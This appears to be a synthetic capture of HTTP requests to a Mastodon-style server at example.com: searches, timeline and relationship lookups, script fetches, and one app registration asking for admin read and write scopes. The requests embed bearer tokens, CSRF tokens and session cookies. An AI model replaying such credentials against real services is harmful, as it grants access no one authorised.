{"method": "GET", "target": "/api/v2/search?q=.htaccess&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=.htaccess", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=river+walk&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=river+walk", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=%23python3&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=%23python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=%40bob&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=%40bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/relationships?with_suspended=true&id[]=117589325674471006&id[]=117589325674471006", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=%40bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=alice%40remote.example&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=alice%40remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/timelines/home?since_id=117589367555012187", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=alice%40remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/relationships?with_suspended=true&id[]=117589371958209726&id[]=117589371958209726", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=alice%40remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=https:%2F%2Fremote.example%2Fusers%2Falice&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=https%3A%2F%2Fremote.example%2Fusers%2Falice", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "POST", "target": "/api/v1/apps", "headers": ["Host: example.com", "Content-Length: 156", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Content-Type: application/x-www-form-urlencoded"], "body": "client_name=Tusky&redirect_uris=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&scopes=read+write+follow+push+admin%3Aread+admin%3Awrite&website=https%3A%2F%2Ftusky.app"}
{"method": "GET", "target": "/packs/throttle-DJD3CaHb.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=W2l04JlLigwdAvXsIy4EvlVd1Ptmg7KSdPF0EgbFrg%2BfdmsX946SRsCXP3n%2BSVSWxbeMeihoEp5iUPHuM50Lso84YxIVjdA1BQyNKzikL2lo2KrdMPklm5yoOWKSNPKSslO%2BjfO8pEk9QTjusM%2BSTvqs6oLFg0wH7oPEd6a3bXcX2qPNkqWbtDReRNQW1dGHBo3ow9o2i%2BJ6NjT4V68EnIViz3ZbUgsnN4fjuefPE9XKp8AuV7ug31EzuY%2BtXVlnC9j1flmfU%2FDRcJvrUDmCyYCYvKKsP6VtfA%3D%3D--Iq2gDgHeLfsGFKU2--FB8j6aSerWEyIpqqGTGo2Q%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/immutable.es-tL0E-S7u.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDAuNTkwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--88ab789cd0698755e1951bb51b721cfc4acc5b54; _mastodon_session=UJ2xL0EEwqyYjkT1doIj1CSZ8bWeuesxm7ed5rVSqQ9h5%2B56jiBCmF%2BVLfwHoovftGNwhrrZmEjC71gB4yGZ0NDq%2BgmiRHu6e5Bfczgfvext3MwTmnNjq3az5L5dz1tKxm3TT2LgvWncIXPSNw757RsvEdgqXN8y4vi3bH1CvK0IQLdE8A5mLHl6lY14EHsGe3j731%2BweyxzenkYynHA9hE4Ib6eXApqFPkmxt%2ButqbF359YwuIh%2FqXCgpWGh%2FDlckV55TKbr%2FJ4S6RJekjjA%2FJD3wa7OgHZenpH5DIbYVEANGAr1dCeBmhFIOaOY6%2BX3q0fgIJLx%2FYyt0JIRQmc9r8JmAvWB9EtbpNc9SdUNuOTjCnB65ZWuu8WpSsNxZyhW7Ck4%2BjQoIPU--sBQ7b%2F50W2Dktyh8--r2gfUWS7BTb44G9nbpeJdQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/video-B-s0PS3Z.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDAuNTkwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--88ab789cd0698755e1951bb51b721cfc4acc5b54; _mastodon_session=UJ2xL0EEwqyYjkT1doIj1CSZ8bWeuesxm7ed5rVSqQ9h5%2B56jiBCmF%2BVLfwHoovftGNwhrrZmEjC71gB4yGZ0NDq%2BgmiRHu6e5Bfczgfvext3MwTmnNjq3az5L5dz1tKxm3TT2LgvWncIXPSNw757RsvEdgqXN8y4vi3bH1CvK0IQLdE8A5mLHl6lY14EHsGe3j731%2BweyxzenkYynHA9hE4Ib6eXApqFPkmxt%2ButqbF359YwuIh%2FqXCgpWGh%2FDlckV55TKbr%2FJ4S6RJekjjA%2FJD3wa7OgHZenpH5DIbYVEANGAr1dCeBmhFIOaOY6%2BX3q0fgIJLx%2FYyt0JIRQmc9r8JmAvWB9EtbpNc9SdUNuOTjCnB65ZWuu8WpSsNxZyhW7Ck4%2BjQoIPU--sBQ7b%2F50W2Dktyh8--r2gfUWS7BTb44G9nbpeJdQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/link_footer-DaHtacuU.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDAuNTkwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--88ab789cd0698755e1951bb51b721cfc4acc5b54; _mastodon_session=UJ2xL0EEwqyYjkT1doIj1CSZ8bWeuesxm7ed5rVSqQ9h5%2B56jiBCmF%2BVLfwHoovftGNwhrrZmEjC71gB4yGZ0NDq%2BgmiRHu6e5Bfczgfvext3MwTmnNjq3az5L5dz1tKxm3TT2LgvWncIXPSNw757RsvEdgqXN8y4vi3bH1CvK0IQLdE8A5mLHl6lY14EHsGe3j731%2BweyxzenkYynHA9hE4Ib6eXApqFPkmxt%2ButqbF359YwuIh%2FqXCgpWGh%2FDlckV55TKbr%2FJ4S6RJekjjA%2FJD3wa7OgHZenpH5DIbYVEANGAr1dCeBmhFIOaOY6%2BX3q0fgIJLx%2FYyt0JIRQmc9r8JmAvWB9EtbpNc9SdUNuOTjCnB65ZWuu8WpSsNxZyhW7Ck4%2BjQoIPU--sBQ7b%2F50W2Dktyh8--r2gfUWS7BTb44G9nbpeJdQ%3D%3D"], "body": ""}
